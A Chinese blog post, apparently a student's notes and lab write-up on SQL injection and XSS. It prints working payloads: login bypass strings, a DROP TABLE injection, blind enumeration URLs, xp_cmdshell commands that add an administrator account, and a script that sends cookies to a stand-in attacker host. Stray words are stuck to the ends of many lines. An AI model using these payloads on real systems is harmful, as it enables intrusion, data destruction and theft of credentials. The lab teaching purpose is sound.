http://www.cnblogs.com/lidong20179210/p/8909569.htmlphp
博文主要内容包括两种常见的web攻击html
代码注入攻击mysql
- Web应用程序的输入验证不完善漏洞
- 执行由攻击者所注入的恶意指令和代码
- 敏感信息泄露、权限提高或对系统的未受权访问
多样化的代码注入攻击类型web
- SQL注入攻击:恶意读取、修改与操纵数据库;
- PHP注入或ASP注入攻击:植入和运行Webshell
- Shell注入攻击:恶意执行操做系统命令的;
- 其余多样化注入攻击: LDAP注入、邮件命令注入、 SSI
SQL注入攻击对Web应用程序的威胁,至关大部分Web应用程序使用后台数据库,动态产生内容sql
SQL注入攻击:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。shell
SQL注入漏洞机制数据库
- 用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、 百分号)
- 没有进行严格类型检查:未判断输入是否预约类型
inputusername = request.form("username") inputpasswd = request.form("passwd") set cn = Server.CreateObject("ADODB.Connection") cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;" set rso = server.CreateObject("ADODB.RecordSet") sql = "SELECT * FROM accounts WHERE username ='" & inputusername & "' AND passwd = '" & inputpasswd & "'" rso.Open sql, cn if rso.eof then response.write("login error: username or passwd incorrect") else response.write("login success") end if
huangrong' OR '1'='1
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1' AND passwd = 'huangrong' OR '1'='1'
等价于: SELECT * from FROM accountsapache
后果:绕过了login.asp用户身份认证的正常逻辑,得到访问ubuntu
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts; SELECT * FROM admin WHERE 't' = 't'
注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页浏览器
- 手工审查
- Google Hacking
注入点验证
- 整数型参数:
- “yyy'” (加单引号) : SQL错误
- “yyy and 1=1” :正常页面
- “yyy and 1=2” :空白页面
- 字符串参数
- “yyy'” (加单引号) : SQL错误
- “yyy' and '1'='1” : 正常页面
- “yyy' and '1'='2” : 空白页面
- Web应用程序流行的后台数据库
- ASP: MS SQL Server/ACCESS
- PHP: MySQL
- 利用数据库服务器的系统变量进行判断
- MS SQL Server: user/db_name()
- MySQL: basedir、 …
- http://SITE/xxx.asp?some_rec=yyy and db_name()>0
- 利用数据库服务器的系统表进行判断
- ACCESS: msysobjects
- MS SQL Server: sysobjects
- MySQL: mysql
- http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
- 猜解后台口令表表名
- http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
- 猜解字段名
- http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
- 猜解字段值: 二分法逼近
- 字段长度:
- http://SITE/xxx.asp?some_rec = yyy and(select top1 len(username) from Admin)>[guessed_length]
- 字段值: 逐位猜解
- http://SITE/xxx.asp?some_rec = yyyand (select top1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
- 口令可能为MD5散列后的密文
- MD5Crac
后台管理界面
- 利用提供的上传/下载文件等功能上传ASP后门
- Web服务器软件的默认帐户权限
- 本地受限帐户命令执行
- Web虚拟目录中文件上传/下载
- 利用MS SQL Server的BCP命令
- bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
- 进一步本地权限提高
- 利用系统或某些特权应用服务(如Serv-U)安全漏洞
- 利用系统配置不当提高系统权限
- MS SQL Server等DBMS支持扩展存储过程
- xp_cmdshell, 须要sa账户权限
- 经过SQL注入点执行相应的扩展存储过程
- 添加有本地系统管理员权限的后门用户账号
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add”
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add”
环境配置
- 4.重启Apache:sudo service apache2 restart
这次任务,你须要经过访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB以前系统会要求你登录。这个登录认证由服务器上的login.php实现,须要用户输入用户名和密码来经过认证。
去网上寻找了答案,答案的是在用户名输入ted'#,密码空着就行,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。
用户发送修改请求后,会执行include/usercp_register.php中的一条UPDATE SQL语句。在这条语句中一样有一个SQL注入漏洞,请用它来达到如下目标:在不知道其余人密码的状况下修改其资料。
提交后发现SQL语句的结构,根据分析语句结构,分析出注入漏洞在
查看Memberlist表单,发现id号
经过此漏洞便可经过更改id号更改信息,此处咱们修改admin的信息
- 查看用户终端会话Cookie - <script>alert(document.cookie)</script> - 会话ID、甚至登陆口令等敏感信息 - 窃取Cookie - 攻击者控制网站: steal_cookie_example.com - <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script> - 网页挂马 - <iframe src="http://target_link" height=0 width=0></iframe> - <script src = "http://target_link"></script>
XSS实验相对SQL简单一些,答案也全,上两个结果截图。